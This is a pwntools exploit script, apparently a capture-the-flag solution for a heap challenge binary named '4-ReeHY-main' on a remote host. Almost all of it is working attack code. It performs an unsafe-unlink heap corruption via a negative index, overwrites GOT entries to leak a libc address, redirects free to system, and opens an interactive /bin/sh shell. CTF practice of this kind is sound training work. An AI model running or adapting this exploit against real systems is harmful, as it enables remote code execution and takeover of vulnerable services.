1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
|
from pwn import *
local = 0 host = '111.198.29.45' port = 44275 context.log_level = 'debug' exe = './4-ReeHY-main'
try: context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load")
libc = ELF('./libc.so.6')
if local: io = process(exe) else: io = remote(host,port, timeout=10)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) ga('b *{}'.format(hex(text_base+addr))) else: ga("b *{}".format(hex(addr)))
def get_one_gadget(filename): return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))
def c(idx): sla("$ ", idx)
def new(size, idx, content): c(1) sla("size\n", size) sla("cun\n", idx) sa("content\n", content)
def edit(idx, content): c(3) sla("edit\n",idx) sa("content\n", content)
def delete(idx): c(2) sla("dele\n", idx)
def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path)
c("NoOne") addr = 0x6020E0
new(0x80, 0, '0') new(0x80, 1, '1') delete(-2) payload = p32(0x100) + p32(0x80) + p32(0) + p32(0) new(0x10, 2, payload)
fd = addr-0x18 bk = addr - 0x10 payload = flat([ 0, 0x81, fd, bk, 'a'*0x60, 0x80, 0x90 ]) edit(0, payload) delete(1) payload = flat([ '0'*0x18, p64(0x6020f0), p64(1), p64(elf.got['free']), 1, elf.got['fflush'] ]) edit(0, payload) edit(1, p64(elf.plt['puts'])) delete(2) addr = uu64(r(6)) lg("addr", addr) from LibcSearcher import * obj = LibcSearcher("fflush", addr) libc_base = addr - obj.dump('fflush') sys_addr = libc_base + obj.dump('system') new(0x20, 3, "/bin/sh") edit(0, p64(elf.got['free'])) edit(1, p64(sys_addr)) delete(3) ia() if __name__ == '__main__': exp(host,)
|